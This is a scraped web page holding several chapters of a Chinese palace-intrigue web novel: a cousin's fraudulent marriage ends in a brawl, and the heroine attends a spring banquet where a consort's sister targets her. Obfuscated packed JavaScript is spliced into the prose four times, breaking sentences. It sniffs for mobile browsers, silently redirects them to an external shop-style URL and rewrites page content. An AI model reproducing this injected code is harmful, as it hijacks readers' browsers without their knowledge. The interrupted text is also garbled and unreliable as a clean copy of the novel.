如今谢芸假借身份骗婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在心中是这般琢磨的,口中便也顺嘴说了出来。 听见她提起“未来嫂嫂”一词,谢英愣了愣神,耳廓慢慢变红,自顾提起旁的借口: “今日江月楼的云片糕定是出炉了,我去给你买上两盒。” 他转头匆忙,差点儿撞到竹翠的身上,摸了摸后脑勺后,拉着竹翠落荒而逃。 “云片糕要买新鲜的啊!”谢荼在他的身后高声叮嘱了一句。 谢英头也不回,挥了挥手,脚下跑得更快了。 珠萍和巧萍两人笑弯了腰:“这要是典心姐姐在场看见,定是要笑得趴在床榻上起不来床。” 谢荼垂下眼,擦了擦眼角溢出的泪痕,也是笑得合不拢嘴。 临近晌午,典心和吟心两人带着重要消息回来了。 “姑娘,姑娘!谢芸姑娘同游家母子俩打起来啦!” 93. 闹剧 典心一向是看热闹不嫌事大的性子。 人还没走进重峦院,就已经嚷嚷着叫出声来,引得无数人伸头张望。 “打起来了,打起来了!”典心拽着吟心一路小跑冲进屋子,“今早那游乾拉着芸姑娘,嚷嚷着要到我们府上来退婚,被芸姑娘一巴掌扇得懵在了原地。” “芸姑娘也吵着要去报官说游乾骗婚,现在正由着王妈妈带着陪嫁的下人收拾屋子里的物件,准备搬回来呢!” 谢荼纳了闷了:“她怎么还想着能搬回来?父亲没有让人捎话给她警告吗?” 前几日因为谢芸大胆“换亲”之事,谢愉恩同谢老夫人闹翻之后,便派高山去王氏和谢芃所在的宅子传话,谢老夫人身子不好需要静养,让他们告知谢芸非必要不用再去谢府。 谢芃成天在京城里醉生梦死,又有谢老夫人给大把银子花,可能根本没把这件事放在心里。 是以,看样子,谢芸根本不清楚,谢府已经不是她想来就能来的地方了。 “现在如何了?”谢荼忽然好奇起那两人的这场闹剧该如何收场,“三媒六聘成的婚,礼已成,洞房也成了,怎的还能退婚?” “就是说啊!再闹也应该是和离才对。”典心附和道,“那游乾当真是不要脸,不仅吵着要到谢府来退婚,还把自己得了钦天监差事的事情怪罪到谢芸姑娘的头上。” “嚷嚷着不准芸姑娘搬走嫁妆,还要求芸姑娘赔偿他银子!” 原来,昨日在大殿之上,游乾扯着谢愉恩大闹一场,被人传到了成惠帝的耳朵里。 一个是毫无根基的新晋进士,一个是在朝中资历颇深,受万人敬仰的谢丞相,成惠帝想也不想,随手一指,便定了这位闹出笑话的新晋进士的后半生仕途。 成惠帝不是个炼丹制药追求长生的糊涂君王,也不是个喜欢卜卦祭祀的无能君王。 钦天监的作用,在大梁朝,只有为皇家祭祀以及一些重要典礼挑选日子工作。 连推算节气制定历法,都由各地根据当地实际情况来操作。 总的来说,就是个闲差,是个没什么权力的清水衙门。 游乾当众被指了这样一门差事,丢尽颜面,又得知自己和谢芸婚事其中的乌龙事。 今日一大早便扯着谢芸一阵闹腾。 谢芸自然也不是吃素的,她早就得知了英国公府那头嗣子人选根本不是游乾。 当即也扯着嗓子对着游乾一顿痛骂。 骂他厚颜无耻,完全不想通过自己的努力达成成就,只想指望着吃软饭攀附他人成为人上人。 甚至不惜在以为她是谢相之女之后,诱骗她一个闺阁少女。 在自己认错人的情形下,仍然以英国公未来嗣子的身份与自己接触,简直是京城第一大骗子! 话都说到了这个地步,游乾也不甘示弱,大声吼出了谢芸的所作所为,直言她也没差,是京城第一大女骗子! 甚至在言语间,将二人私下私相授受的事情也抖落了出来。 这下,无尽的委屈涌上了谢芸的心头,她想起了自己舍去的骨肉。 她想起了自己失去的荣华富贵,想起了因为自己逼迫而失望的谢老夫人,想起了仍然躺在病床上的母亲王氏,想起了自己毫无指望的下半辈子。 暴怒之下,谢芸抄起手边的花瓶,越过拦在二人中间的游母,狠狠砸向了游乾。 游乾应声倒地,游母哭天抢地地扑倒在地。 看热闹的邻居见状,寻大夫的寻大夫,报官的报官,没一会儿游家便被各路人马围了个水泄不通。 “府衙的官兵来了之后,奴婢便和吟心姐姐先回来了。”典心叙述完大清早发生的闹剧之后感叹道,“这两人互相算计,最后竟然闹进了京兆衙门里,可见人不能太贪心。” “这下无论游乾伤势如何,谢芸姑娘想顺利从游家脱身,也得扒一层皮了。” “这便是俗话说的,‘自作孽不可活’吧!” 屋子里燃着淡淡的香,谢芸靠在暖榻的大迎枕上,手中捧着一本地域志发呆。 听到谢芸伤了游乾,她并不奇怪。 谢芸那样的性子,得知被人一直哄骗着蒙在鼓里,做着不切实际的世子夫人梦,定是会闹出来。 游乾又是那般不肯吃亏的性子。 上一世,他能在与她定亲之后,只因谢家将要遭难,转头便去娶了她的堂妹,她就知道他绝非善类。 这一世,他们二人这般互相折磨,婚事铁定是不能成了,又因为伤人事件入了京兆府衙,能顺利和离便是最好的结局。 可是,在那之后呢? 谢芸归家之后,还会继续折腾谢府,求得谢老夫人的宽慰,再次赢得她的欢心吗? 那游乾是否还会调转目标,重新找个家世好的女孩子为自己的前程图谋吗? “姑娘,可是担心谢芸姑娘归家后,还来我们府上捣乱?” 吟心见到谢荼愣怔的模样,当即便猜出了她的心思。 “老爷已经寻了马车,派人回宅子收拾物件,接三夫人。等谢芸姑娘从京兆府衙中出来,就直接送她回兖州,自此再也不必回京城。” “谢芃公子若是愿意,也可一道回兖州,老爷给谢芃公子在兖州寻个差事,送座庄子给他,让他能富裕过下半生。” 谢荼暗叹一声,还是父亲思虑周到,替自己善了结尾。 “可是三伯父岂会同意?” 谢怀恩本就是指望着儿子女儿上京城来寻到机会,实现带动全家富贵的。 “老爷已经修书一封,一五一十地写了谢芸姑娘和谢芃公子,以及王氏在京城的这段时间所做下的所有事。” 吟心说着今早高山小哥递来的消息。 “若是三老爷有异议,咱们老爷不介意请来族中长老,把上述事情在列祖列宗面前一一说道,也不介意开宗祠,把京城谢家这一脉单独独立出去。” “老爷这是下了狠心,再也不想让三老爷一家躺在咱家一家身上吸血了!” “父亲心中有打算就好,免得我这个做女儿的总是让他老人家为难。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268195|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢荼想起了那日,父亲为了她,在谢老夫人据理力争的模样。 “姑娘,这只能说明老爷是真心疼爱你的!” 内室里沁香一片,春日里的阳光透过窗棂照射进屋子里,使得整个屋子暖洋洋的。 也让谢荼的内心,在这一刻暖洋洋的。 “是,父亲的确很疼爱我!” 她微微抬眸,转过头,看向铜镜中自己的面容。 —————— 距离五月初一,宫中皇后娘娘举办的春日宴日子并不算太远。 按照惯例,四品之上的官员家眷都收到了邀请。 而按照往年宫中举办春日宴的时间惯例,远在京城之外的四品以上的官员家眷,也早就进京候着邀请的旨意。 谢荼不是个喜欢热闹的人,幼时有母亲带着,春日宴她玩得很尽兴。 可等母亲过世之后,她便不太爱出席这样的宴会,即便是参加了,也是坐着捱时间,等差不多时辰了,就早早寻个由头提前开溜。 可是今年的春日宴却不同。 皇后明显是得了皇帝的旨意,要对姜家兄弟俩下手。 作为与姜家绑在一条船上的蚂蚱,谢荼这一次却不能马虎。 是以,谢荼亲自开了自己的库房,开始给自己挑选春日宴的行头。 典心只当是自家姑娘想通了,要装扮一新参加春日宴。 成捧地往她面前抱各式华丽繁复的衣裳头面首饰。 谢荼看着面前一堆堆花里胡哨的东西,颇为头疼地揉了揉额角,耐心十足道: “我今日选衣服,是为了春日宴那天不被任何人挑出错处来,省了自己的口舌纷争,自然能腾出手来帮助姜家大哥抵挡攻势,而不是要打扮成花蝴蝶一般,去吸引人的仇恨。” 典心捧着自己认为的宝贝,僵在原地。 她刚刚真心以为自家姑娘是想开了,要去春日宴上争奇斗艳去的! 宫中的宴会,同龄女子多如牛毛,纵然她家姑娘天人之姿,想要在宴会上拔得头筹,也是需要一番打扮的。 可她家姑娘很显然并不是要去出风头的。 “姑娘,我知错了。”典心放下了手中的那团繁复华锦,老老实实认错道歉。 “罢了,是我没有跟你们提前说清楚,这次宴会的凶险。” 谢荼招手将两人叫到身边,大致讲了姜鹄的事情,最后才点了一句:“姜家自然是不想得个这样的婚事,我也会帮着姜大哥排除万难。” 谢荼说清楚了此行的重要性后,两个丫头的面上不自觉便蒙上了一层严肃认真。 “倒也不必如此紧绷神色,反而惹人眼。”谢荼慢悠悠地点了几套珍珠或宝石头面,转头看向成堆的衣料,“兵来将挡水来土掩,我不主动攻击别人,只做反手准备。” “就选些豆绿、草绿、杏子黄、栀子色的彩绣掐花云锦妆缎,做些入席常服即可。” “主角是要适龄婚配的公主郡主及各家小姐,我就不喧宾夺主了。” 谢荼拿定注意。 94. 入宫 五月初一,春光和煦,阳光明媚。 谢荼早早便坐在了进宫的马车里。 谢府离着皇宫并不遥远,可若想要进宫,便要经过金吾卫对入宫车辆的盘查。 谢荼便坐在马车中,待在宫门口的候检队伍中精心等待。 她身着一袭杏子黄色暗花彩绣锦袍,下着鹅黄色暗花攒心菊八幅湘裙,长发被绾成元宝发髻,用几枚红宝石鎏金朱钗点缀在发间。 富丽但不妖艳,精致却不出挑,正合她意。 “姑娘,我带了一份糕点,您饿吗?” 典心从怀里掏出一块帕子,里面裹着几块云片糕。 按照规矩,绝对不允许他们带吃食进宫,所以典心也只备了几块云片糕,打算在等候检验盘查的时候吃。 谢荼不忍辜负小姑娘的情谊,便和她们二人一起分了云片糕。 “从这道宫门进去之后,一定要记住,谨言慎行,多说多错,多做多错,一步错便会步步落入他人的陷阱里,可明白了?” “是,姑娘。”典心和吟心二人连连点头称是。 由于春日宴进宫人数颇多,金吾卫与御林军一同查验车辆,分外仔细,因此速度也很慢。 谢荼到得早,等马车查验无误后,由宫中小内监带着进了内廷。 刚刚拐过弯来,还没走进,便已经见到一道窈窕的身影立在门口,笑盈盈地等着她。 “顾姐姐!”谢荼心情大好,快步走了过去,“顾姐姐,你身子好了?” 自隆山寺那晚被劫持后,顾茹娘受了惊吓,身子一直断断续续地病着。 顾夫人在家中同顾大人闹了好一阵,终于打消了顾大人要嫁女的心思。 女婿千好万好,都不如自家姑娘身体康健来得好。 历经那一劫,顾夫人也是看开了,就想守着顾茹娘过日子,顾大人拗不过自家夫人,也只能将谈亲事一事搁置在一旁。 “早就好了。”顾茹娘站在廊下,繁花盛开的时节,越发显得她娴静温柔,“若不是母亲拘着我,我早就去你府上寻你了。” “听说你那位嫁出去的堂妹大闹了京兆府衙,可是真的?” 正所谓坏事传千里,谢芸的那桩糊涂事终究还是传了出去。 “这有什么真的假的,那日大殿之上的事情都传遍了,谢家骗婚在前,悔婚在后,害得游家公子好苦,顾家姐姐可不要被谢荼这张无辜小脸儿给骗了。” 一道尖锐的嗓音突然插了进来,把谢芸的事情硬生生安到了谢荼的身上。 谢荼抬眼看去,是幽州王氏女王怜,她的嫡长姐正是如今宠冠后宫的王婕妤。 她素来看不惯谢荼这样被京城人人称赞的高门贵女,觉得她装腔作势,自视清高。 “王姑娘慎言。”顾茹娘把谢荼拉在身后,面色冷静道,“你是说陛下的判断错了吗?” “若真如你所言,是谢家的问题,为何陛下没有惩治谢大人,反而是把游乾指去了钦天监?” “你!” “再说了,谢大人在大殿之上已经分说清楚,是谢芸和游乾互相隐瞒,互相利用,这才闹成这样,王姑娘为何非要把荼妹妹扯进这桩糊涂事里?莫不是还在怀疑谢大人的人品?” 顾茹娘的态度是前所未有的强硬,拉着谢荼的手也坚定温暖。 “我……” 王怜还想说什么,却被身边的婢女拉了一把,使了个眼色,只能悻悻然闭嘴。 她恶狠狠地瞪了谢荼和顾茹娘二人一眼,提起裙摆走开了。 “顾姐姐……”谢荼猛然觉得顾茹娘的性子似乎变了许多。 从前的顾茹娘虽然对她很好,可是瞻前顾后,克己复礼,从不出头,现如今却敢在皇宫之中当着众人的面替她出头。 “你别怕她,王婕妤虽然得陛下盛宠,却也知晓规矩,懂得进退,因此一向也头疼她这个妹妹口无遮拦。” 这也不怪王婕妤谨慎,实在是因为王婕妤虽得圣心,膝下却并无子嗣。 她的母家在幽州,属于琅琊王氏的分支,可在朝中根基浅薄,实在是不敢恃宠而骄。 反而王怜仗着自己有个宠妃嫡长姐,异常骄纵跋扈,是个不好惹的主儿。 王家该庆幸养歪了的只是个嫡次女,送进宫的也是颇有手段的嫡长女。 “我不怕她。只是连累了顾姐姐卷入这件事里。”谢荼心中无比温暖,“顾姐姐据理力争,王怜自然是再也不敢胡乱提起,可是却也将顾姐姐憎恨了去。” 顾茹娘拍了拍她的手背,提唇笑道:“自从那日你不顾自身安危救了我,你就是我的救命恩人,是我的亲妹妹,亲妹妹被人阴阳怪气,我这个做姐姐的又怎会袖手旁观?” 谢荼伸手挽住她的手臂,心中大定。 这一世,她和顾姐姐必定不会再次分道扬镳,形同陌路! 她们二人携手同行,进入了供众位贵人等候春日宴开始的清凉殿。 谢荼和顾茹娘来得早,殿中到的人还算少,于是她们便挑了一处能看见花园里争相斗艳的花簇美景旁坐下。 宫女们很快端上了茶点,新晒的玫瑰花茶,配一碟糖酪樱桃酥饼,分外香甜。 花园中各式花朵在春光中摇曳,其中不乏名贵珍品,使得清凉殿中花香扑鼻,连风中都带着香气。 谢荼见清凉殿中并无高品阶宫女女官,遂也逐渐放松了下来。 “今年春日宴人数众多,皇后娘娘开了两处大殿让大家歇息。”顾茹娘开口替她解惑,“想必其他家的姑娘都去了花园对角的清风殿,宝珠公主在那头坐镇呢!” “原来如此。”谢荼松了一口气。 至少她不必在初入宫时,便开始警醒战斗。 “男宾们从另一道宫门入宫,被内监大人们直接引入宝华殿门口的长廊等候,稍后我们女宾会在金华殿入席,与宝华殿隔着一汪御池。” “互相能看得见,却听不清对面殿内所说的话。皇后娘娘这般安排属实费心了。” 顾茹娘将自家母亲打听到的事情一五一十地告诉了谢荼。 “今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296231|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最特别的,是诸位大臣官眷,只邀请了适龄未婚少女、公子,夫人、老夫人们不曾入宫,这也是皇后娘娘的另外一重考验。” “身边无长辈在场的情况下,更能看得清各位未婚少女、公子的行事作风,应对章法也能摸得一清二楚。” “皇后娘娘为宝珠公主选驸马,属实下了苦心。” 谢荼微微颔首,表示认同。 宝珠公主受皇帝宠爱有加,皇后娘娘亦欲与皇帝陛下一条心,伉俪情深,自然也会对宝珠公主这个非自己亲生的公主重视。 不过,这番折腾下来,倒逼着众位适龄少女为宝珠公主的婚事让步,不知道是皇后娘娘的故意捧杀,还是她的无意之举。 加之还有姜鹄的婚事掺和在其中,总之,谢荼认为,皇后娘娘的意图并不简单。 “知道春日宴凶险,顾姨为何还会让你进宫来?推脱你身子未好全告个假不就可以了?” 谢荼拧着眉头不悦道。 “母亲说你被宫中点名要参加,我们在那隆山寺中又遇到过宝珠公主,加之你与姜鹤的关系……我担心她会对你不利,所以便央求了母亲,让我入宫来陪你。” 顾茹娘一脸担心地看着谢荼。 隆山寺遇劫那日,她分明看出来姜鹤对谢荼的在意,只是不知谢荼对姜鹤是否有意。 可宝珠公主心悦姜鹤多年这件事,她也有所耳闻。 皇后娘娘不知道姜鹤并非纨绔公子,自然不会给宝珠公主指婚姜鹤,否则岂不是要惹皇帝的怒? 可宝珠公主也不会轻易放下姜鹤,自然也会对于姜鹤喜爱的女子有敌意。 万一……万一这次春日宴上,姜鹤再次提及幼时戏言,要娶谢荼为妻,那谢荼岂不就是宝珠公主的眼中钉,肉中刺? “顾姐姐有心了,我自有应对,姜鹤也不会让我入险境,今日宴会上必定情形复杂多变,顾姐姐切勿盲目出头,一定要记得保全自身安危!” 谢荼收敛起脸上的笑意,极其严肃认真地叮嘱道。 受了谢荼的影响,顾茹娘也凛了凛心神,回道:“我知道了。” 清凉殿中陆续来了好些官家小姐,有相熟的,便会主动过来和谢荼、顾茹娘二人见礼问安,若是不熟悉的,也会远远地点点头,表示善意。 直等到接近午时,吃了两盏茶用完了几种点心糕点,这才有女官走进清凉殿中,邀请众位贵女移步金华殿。 在女官和宫娥的带领下,谢荼与顾茹娘起身,半举着团扇遮住日头,穿过御花园,缓慢行至金宝华殿门口。 皇后娘娘身边的张女官在宝金华殿台阶前迎接着众人。 双方相互见礼后,张女官才恭敬道:“各位姑娘请入席,公主殿下已经等候各位多时,皇后娘娘及玉贵妃也已经往金华殿的方向来。” “宴席将在一刻钟之后开始,还请各位姑娘稍安勿躁,静候宴会的开始。” 谢荼闻言,看着眼前的大殿,一时恍惚。 她似乎想起了,幼时第一次跟着母亲进宫的场景。 95. 王怜 那似乎是一年元宵节,宫中设宴款待众臣亲眷。 年幼的谢荼跟着母亲去了金华殿入女宾席,谢英则跟着谢愉恩去了宝华殿,同皇帝一起用宴。 宫闱歌舞声乐,倒也没什么好看的。 谢荼以更衣为由,悄悄甩开了身边跟着的婢女,独自一人跑到御花园中堆雪人玩。 暮色时分,贵人们都在金华殿内看歌舞表演,宫女内监们也都在两座宫殿中来回穿梭忙碌。 小谢荼撅着屁股,忙了许久,才在假山的角落里,堆出个同自己个头差不多高的小小雪人儿。 彼时的她,才猛然察觉,自己早已寒湿了内衫,额角湿润。 没有穿斗篷的她,在冬日的寒风中瑟瑟发抖,抱住身子躲在了小雪人身边。 她开始后悔,自己不该不告诉母亲一声,就偷偷溜出大殿,来到这样一个空荡花园里自己玩耍。 也后悔自己应该多披一件厚斗篷挡住这如棉絮般的落雪。 天色渐渐黑了下来,母亲寻不见她的身影,应当是要着急了。 她会不会求助于在宝华殿吃酒的父亲兄长?父亲会不会数落她的不听话? 她不敢想,谢家的家规会不会因此而落在她的身上。 现在的她,又饿又累又冷。 好想有个暖和的壁炉驱散身上的寒气呀! 最好还有碗牛乳杏仁酪,热热的,散着香甜的气息,一碗下肚,再冻得僵硬的四肢也能彻底暖和起来。 小谢荼蜷缩在小雪人身边,仰头望着天空中挂着的那一盏圆月,慢慢闭上了眼睛。 踩着厚雪窸窸窣窣的脚步声缓缓向她逼近,直到在她的面前停下。 一双温暖的大手抚上了她的脑袋。 “原来你躲在这儿玩耍。” 那人的嗓音浑厚,却又很温暖,带着笑意。 小谢荼艰难地睁开双眼,与一双琥珀色瞳仁对上。 “你生的,倒是与你的母亲十分相似。” 那人琥珀色的双眸彻底散去清冷,只余下化不掉的柔情。 “该回去了,下回可不能再乱跑了!” 那人伸手轻轻点了点小谢荼的鼻尖,用双手轻轻掸去她身上的落雪,又脱下身上的枣红色蜀锦繁花披风,将她从头至尾拢在里头。 他将她抱起,走出了她躲藏着的假山角落。 小谢荼好奇地撩开披风一角,越过那人的肩头,看见他的身后,呼呼啦啦跟着一大群低着脑袋不敢抬眼看她的人 而那人长袍之下,似乎是一双明黄色,盘着龙纹的长靴…… 谢荼深吸了一口气,跟着人群走进了金华殿,目不斜视,直接被宫女带入自己的座位席。 那一次她从皇宫里回府后,便高烧了三日。 母亲自责万分,衣不解带在床边照顾了她三日,直到她清醒过来,才抱着她痛哭了一场。 冥冥之中或有巧合,醒来后的谢荼将那日在御花园中发生的所有事情全都忘记得一干二净。 谢英曾多次好奇地问她,她究竟是去了哪里淘气,又如何突然出现在金华殿侧殿暖阁里,被痛哭流涕的母亲寻到的。 谢荼都说自己不记得了。 可实际上,在母亲离世后没多久,谢荼就想起了那日的事情。 她是被那人一路抱着送回了金华殿。 可是再后来,再也没有人问她那日的事情,她便顺理成章地再一次遗忘了所有事。 直到她刚刚站在金华殿门前。 那日的经历,却似乎成了她和那人心照不宣的秘密。 “这不是名动京城的谢相之女吗?劳公主殿下等了你许久,你可终于肯挪步于此处了。” 王怜趁着张女官转身去吩咐上茶,谢荼几人还未落座的时候,便出声指摘谢荼摆架子,来迟了的事情。 谢荼不理睬她,端着双手给座上的宝珠公主行礼问安。 “免礼,坐下吧。”宝珠公主冲她点了点头,不甚在意,转头与身边的那位姑娘继续说话。 而那位姑娘却一脸好奇地看着谢荼,眸子里闪烁着好奇的光芒。 “那位应当是崔阳王的独女,人称湘南郡主,一直待在湘南封地。” 顾茹娘与谢荼同桌,压着嗓音出声说出自己的消息。 “也是这一次春日宴提前进京的几位贵女之一,她的父亲和咱们陛下乃同母亲兄弟,身份贵重,进京之后便与宝珠公主同吃同住。” “算是今日除宝珠公主之外,身份最尊贵的女子了。” 谢荼端起手边的茶盏,喝了一口,满口清香。 上一世,湘南郡主实乃奇女子,意不在闺阁,喜欢弄草问药,拜了位名医做师父,立志要走遍大江南北。 崔阳王夫妇俩对此很是头疼,想了无数种办法,都没能把郡主拘束在府中安安分分嫁人生子。 最后只得随她去。 不过,湘南郡主那双带着打量的好奇眼睛,没有敌意,反倒让她有一种似曾相识的错觉。 “我看宝珠公主大约记着在隆山寺的交情,并不想对你有多苛刻,反倒是位湘南郡主对你充满好奇。” 顾茹娘抬着手喝茶,以广袖遮住自己的下半张脸,特意凑到谢荼的跟前,小声嘀咕着。 “莫不是这位郡主,也看上了姜鹤那厮吧?” “我就说,男人长那么好看有什么用?正儿八经的本事没有多少,尽会迷惑小姑娘!” 顾茹娘忍不住抱怨着。 谢荼微微一愣,摇了摇头:“不会,这座大殿里,对我敌意最大的,恐怕只有王怜了。” 王怜的嫡长姐虽贵为皇帝宠妃,可上头到底压着一位盛宠不衰的玉贵妃,还有位母仪天下的皇后娘娘。 她的身份,在大殿之中,并不算是特别拔尖。 可她又不敢同宝珠公主和湘南郡主别苗头,于是就只能把矛头对向谢荼。 “瞧瞧瞧,那王怜那双绿豆眼又盯着你瞧了,指不定憋了一肚子坏水,想要整你。” “我就搞不懂了,好好的春日宴,咱们都是公主的陪衬,老老实实坐着吃酒便是了,她为何非要盯着你不放?” 顾茹娘性子委实变了许多,少了些许的娴静,多了些许的跳跃,大大咧咧就在席上吐槽起宠妃之妹的言行来。 “谢姑娘,今日承蒙皇后娘娘的厚爱,邀请你我一同参加这春日宴,不知姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321355|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘可有备下贺礼赠予娘娘和公主殿下?” 大殿之中,周遭贵女们的谈论声逐渐停了下来。 众人齐刷刷地将目光投向王怜与谢荼,在她们二人之间来回打量。 就连宝珠公主都不经意地皱了皱眉头。 谢荼淡定掏出帕子,轻轻抹了抹唇角那不存在的茶渍,温柔地笑了笑: “自然是备了的。” 王怜见她顺着自己的话头往下接话了,挑了挑眉头,目露精光道: “皇后娘娘与公主殿下奇珍异宝见过不知有多少,不知道谢姑娘备了怎样的不俗礼物,试图打动娘娘与公主殿下?不如拿出来,让众位姐妹一饱眼福,也让公主殿下提前知晓你准备的惊喜。” 谢荼将双手拢回袖中,端坐在席位上,双目直视王怜,冷静道: “不要。” 这王怜是脑子坏掉了吗?为什么会提出要看送给皇后娘娘和宝珠公主的礼物? 谢荼懒得与她多说,直接两个字拒绝了她。 偌大的大殿安静了好半晌。 王怜被当众拒绝下不来台,脸色涨红如猪肝色,指着谢荼厉声道: “谢姑娘,你这也太见外了,我又不会去抢你的东西。” “莫不是你的礼物只是随手准备的,摆不上台面,这才不敢拿出来给大家看?” 谢荼轻轻颔首,面带笑容:“是啊,我和你并不熟,为什么要把东西给你看?” “你......” 谢荼不再理她,直接转过头去,同别桌的姑娘打起了招呼。 王怜怒极,冷哼一声,双眼死死地盯着谢荼不放。 “她怎么还在看着你。”这下子顾茹娘真的开始担心了,“她到底想要干什么?” 谢荼摇了摇头,垂下双眼。 如果她没有记错的话,上一世,带头抄没谢府的人,正是王怜的亲兄,王忱。 而王家,自上而下,一直十分追崇权力。 王怜的嚣张跋扈,是被王婕妤在暗中鼓动出来的。 王婕妤也并不像是外表看起来那般平淡、谨小慎微,反而是一个躲在所有人背后坐收渔翁之利的人。 王怜在明,她在暗,姐妹俩联手,铲除了不少对她有威胁的人。 没错,春日宴的重要作用,除了为宝珠公主选婿,为高门适龄男女指婚之外,还有一个作用。 那就是为皇帝立秋扩充后宫的大选做铺垫。 因此,顾茹娘猜测得并不算错,王怜的确是把她视为假想敌。 可她这么做所为的人,并不是姜鹤,而是大梁朝的九五之尊——成惠帝。 她是冲着为她姐姐扫平障碍来的。 在她们姐妹俩的眼中,恐怕早已把自己这个适龄、却还待字闺中的谢相嫡女,当成了今年秋季热门大选之人。 她们想在大选前,就将自己彻底毁掉。 谢荼皱眉,看来,这次的春日宴,并不是自己低调行事,就能躲得过去的。 她要在被王怜推入阴谋漩涡之前,摆脱她。 “皇后娘娘驾到,贵妃娘娘驾到!王婕妤到!” 金华殿外,通传的小内监声音洪亮。 96. 礼物 听见通传声,大殿内众人连忙起身跪地,迎接皇后娘娘、贵妃娘娘以及宠妃王婕妤的到来。 谢荼低垂着头,只听见一阵窸窸窣窣的衣料摩擦声从面前经过。 随后,一道略微低沉的女声在大殿内响起: “众位不必多礼,快快起身入座吧!” 谢荼跟着众人一道起身,这才借着机会偷偷瞄了一眼皇后娘娘所在的方向。 皇后虽已年过四十,可她保养得当,气质端庄,又出自镇北侯府,浑然天成自带英气。 而玉贵妃果然是个倾国倾城的美人,肌肤胜雪,眸若星辰,举手投足之间带着天然的娇媚。 而三人之中,如今正得皇帝盛宠的王婕妤的美貌,就不够看了。 她虽然盛装前来,可一没有皇后娘娘的端庄气质,也没有玉贵妃娘娘的娇媚动人,倒显得中规中矩,只是穿着打扮更加的贵气逼人。 谢荼看着满大殿正值二八年华的娇美少女,心里突然明白了王婕妤莫名的危机感。 她虽然盛宠多年,可膝下并无半点子嗣,而她的美貌并不出挑,家世也没有多高,只胜在年轻和乖巧。 可后宫之中,最不缺的,便是年轻的美人,更别提每年秋天甄选入宫的那些世家少女。 “王婕妤怎么也来了?”顾茹娘趁着落座时,掩住口鼻偷偷向我问道。 春日宴素来由皇后娘娘主办,玉贵妃陪衬,后宫其他妃嫔参加的并不多。 可今年的春日宴主要是为了玉贵妃所出的宝珠公主选婿,王婕妤莫不是来看热闹的? “不过这下也好,王怜再对你胡说八道,王婕妤定不会饶了她!”顾茹娘似是放下心来。 谢荼轻笑,顾姐姐还是太单纯了些。 王家姊妹一个唱红脸,一个唱白脸,配合得天衣无缝的戏码,可是上演过好多回。 许多年前中秋佳节,宫中特设宴邀请众官眷共乐。 席间,当时尚且年幼的王怜猛地哭叫出声来,吸引了众多贵人的目光。 彼时还是美人位份的王怡,心疼幼妹,便将她召到身边询问究竟发生了何事。 王怜便在众人目光中,抽噎着叙述,身边的那位陈家姑娘性子跋扈,方才在殿外时,指使着身边人拦着她,不让她自行去端点心,也不让她去更衣。 陈家是那一年刚进京述职的外放官,原本在京中只需等到年后,便能得个京官彻底留下来。 陈家姑娘便是他家刚及笄的幼女,也是那一年大选的热门人选。 可她自入宫开始待人接物娴静温柔,知书达理,并没有出格的行为动作。 因此,王怜忽然当场哭闹,惹得众人对陈家姑娘的真实性格好奇不已。 被点名称作“嚣张跋扈”的陈家姑娘当即红了眼睛,站起身来为自己一阵辩解。 可这也与她刚刚柔情似水的模样有万分不同。 皇后娘娘拧紧了眉毛,玉贵妃也放下手中的酒盏望了过去,而王美人则搂着自家幼妹连声哄劝着。 “我家妹妹在家娇惯坏了,不懂宫中不能随意走动的规矩,陈姑娘是好心提点我妹妹,她不能理解你的苦心,我代她向你道歉。” 王怡搂着怀里的幼妹,让她向陈家姑娘道不是。 王怜红着眼睛道了歉,却也嘟囔了一句:“守在旁边的宫女姐姐都没说什么呢!” 陈家姑娘僵在原地,白了一张小脸。 皇后娘娘出面打了圆场,王怡也给陈家姑娘送了好些珍宝赔不是,这件事便这样揭过去了。 可也正因为这件事,陈家姑娘没有等到中秋后的大选名单,反而被再次外放的父亲带离京城,匆匆嫁给了旁人。 整个事情的最大受益者,就是刚刚获得皇帝宠爱的王美人王怡。 而她与王怜两人红白脸唱的戏码,成功为她自己除去了最大的竞争对手。 金华殿外的景致格外好,各色花卉争奇斗艳,阵阵花香飘入店内,竟将店内燃着的熏香给遮盖了下去。 皇后娘娘抬了抬手,张女官站出来拍了拍手,打扮精致的舞女便手持精美红绸鱼贯而入。 